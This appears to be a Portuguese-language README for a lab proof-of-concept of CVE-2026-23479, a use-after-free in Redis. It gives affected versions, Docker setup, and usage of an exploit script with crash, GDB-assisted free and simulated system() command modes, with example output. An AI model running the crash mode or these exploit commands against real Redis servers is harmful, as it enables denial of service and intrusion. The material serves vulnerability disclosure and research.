🔥 CVE-2026-23479 – Prova de Conceito de UAF no Redis

Use-After-Free em unblockClientOnKey() do Redis levando à Execução Remota de Código
Prova de conceito com exploração assistida por GDB (apenas para uso educacional / em laboratório)

---

📖 Visão Geral

CVE-2026-23479 é uma vulnerabilidade crítica de Use‑After‑Free (UAF) nas versões 7.2.0 a 8.6.2 do Redis.
O bug reside em unblockClientOnKey(), que chama processCommandAndResetClient() sem verificar seu valor de retorno.
Se o cliente for liberado durante essa chamada (por exemplo, devido a eviction), o chamador continua a operar sobre um ponteiro pendente → UAF.
Um atacante capaz de manipular o heap após a liberação pode alcançar execução arbitrária de código.

Este repositório fornece uma PoC assistida por GDB que:

• Dispara o caminho de código vulnerável exato
• Comprova o UAF ao causar deliberadamente um crash (chamada a freeClient())
• Demonstra execução arbitrária de comandos ao injetar uma chamada a system() no mesmo ponto

⚠️ Importante: Este não é um exploit armamentizado. Ele usa GDB dentro de um contêiner Docker privilegiado para simular o que um atacante real poderia alcançar após explorar com sucesso a vulnerabilidade. Use-o apenas em seu próprio laboratório ou em sistemas para os quais você tenha permissão explícita de teste.

🎥 Vídeo da PoC

https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea

---

✨ Recursos

• 🧪 Quatro modos de operação – crash, gdb, rce, full
• 🐳 Baseado em Docker – não é necessário instalar um Redis vulnerável no host
• 🔍 Detecção automática de versão – verifica se o alvo está no intervalo afetado
• 🧹 Autolimpeza – encerra sessões GDB obsoletas antes de cada execução
• 🎯 Nome de contêiner flexível – passe qualquer contêiner via --container
• 📦 Arquivo Python único – zero dependências além da biblioteca padrão

---

🧠 Como Funciona

1. Bloquear uma vítima – Um comando XREAD BLOCK faz o cliente aguardar dados do stream.
2. Anexar o GDB – O GDB se anexa ao processo do Redis (pid 1) dentro do contêiner.
3. Definir um breakpoint em processCommandAndResetClient – a função chamada quando o cliente bloqueado é reprocessado.
4. Disparar o desbloqueio – Um XADD no mesmo stream desperta a vítima.
5. Ao atingir o breakpoint:
   • Modo gdb: chama freeClient($rdi) → causa deliberadamente um SIGSEGV → comprova o UAF.
   • Modo rce: chama system("seu comando") → executa comandos de shell arbitrários como o usuário do Redis (root por padrão).
6. Verificar – o script verifica se o arquivo de prova esperado existe (RCE) ou se o Redis travou (UAF).

O breakpoint dispara toda vez que um cliente bloqueado é desbloqueado, mostrando que o mesmo caminho de código que contém o UAF também permite execução de código.

---

📋 Versões Afetadas

Ramo	Intervalo Vulnerável
7.2	7.2.0 – 7.2.13
7.4	7.4.0 – 7.4.8
8.2	8.2.0 – 8.2.5
8.4	8.4.0 – 8.4.2
8.6	8.6.0 – 8.6.2

O script analisa automaticamente a versão do Redis e informa se ela é vulnerável.

---

🐳 Pré-requisitos

• Docker instalado e em execução
• Python 3.8+ (apenas a stdlib é usada)
• Uma imagem Docker do Redis 8.6.2 que use apt (por exemplo, a oficial redis:8.6.2)
• O contêiner deve ser criado com --privileged (necessário para ptrace)

---

⚙️ Configuração

1. Clone o repositório

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Inicie um contêiner Redis vulnerável

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Instale o GDB dentro do contêiner

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verifique

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Uso

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modos

Modo	Descrição
crash	Tenta disparar o UAF via pressão de memória (não requer GDB). O Redis pode travar, mas não é garantido.
gdb	Anexa o GDB e chama freeClient() no breakpoint → força um SIGSEGV (comprova o UAF).
rce	Anexa o GDB e chama system(cmd) no breakpoint → executa um comando de shell dentro do contêiner.
full	Executa crash primeiro; se o Redis não travar, recorre ao gdb.

---

Opções

Argumento	Padrão	Descrição
target	(obrigatório)	Endereço IP do servidor Redis
-p, --port	6379	Porta do Redis
-m, --mode	full	Um de crash, gdb, rce, full
--container	env-redis-vuln-1	Nome do contêiner Docker
--cmd	id > /tmp/pwned_by_cve	Comando a executar no modo rce

---

📚 Exemplos Passo a Passo

Nota: Todos os comandos são executados a partir da máquina host, não dentro do contêiner Docker.

1. Comprovar o UAF via GDB

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Saída Esperada (trecho)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

O Redis travará após a falha de segmentação.

Reinicie o contêiner:

docker start redis-vuln-local

---

2. Alcançar Execução Remota de Código (RCE)

Reinicie o Redis para garantir um estado limpo:

docker restart redis-vuln-local

Execute o exploit:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verifique o arquivo de prova:

docker exec redis-vuln-local ls -l /tmp/pwned

Se bem-sucedido, o arquivo existirá, comprovando que:

system("touch /tmp/pwned");

foi executado dentro do contêiner Redis.

---

3. Disparar o UAF Sem GDB (Pressão de Memória)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Se o Redis encerrar inesperadamente (o contêiner não estiver mais em execução), o UAF provavelmente foi disparado.

Reinicie-o com:

docker start redis-vuln-local

---

4. Executar o Teste Completo

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Este modo:

1. Tenta o crash por pressão de memória.
2. Recorre ao método assistido por GDB se o Redis sobreviver.

---

📸 Exemplo de Saída (Modo RCE)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned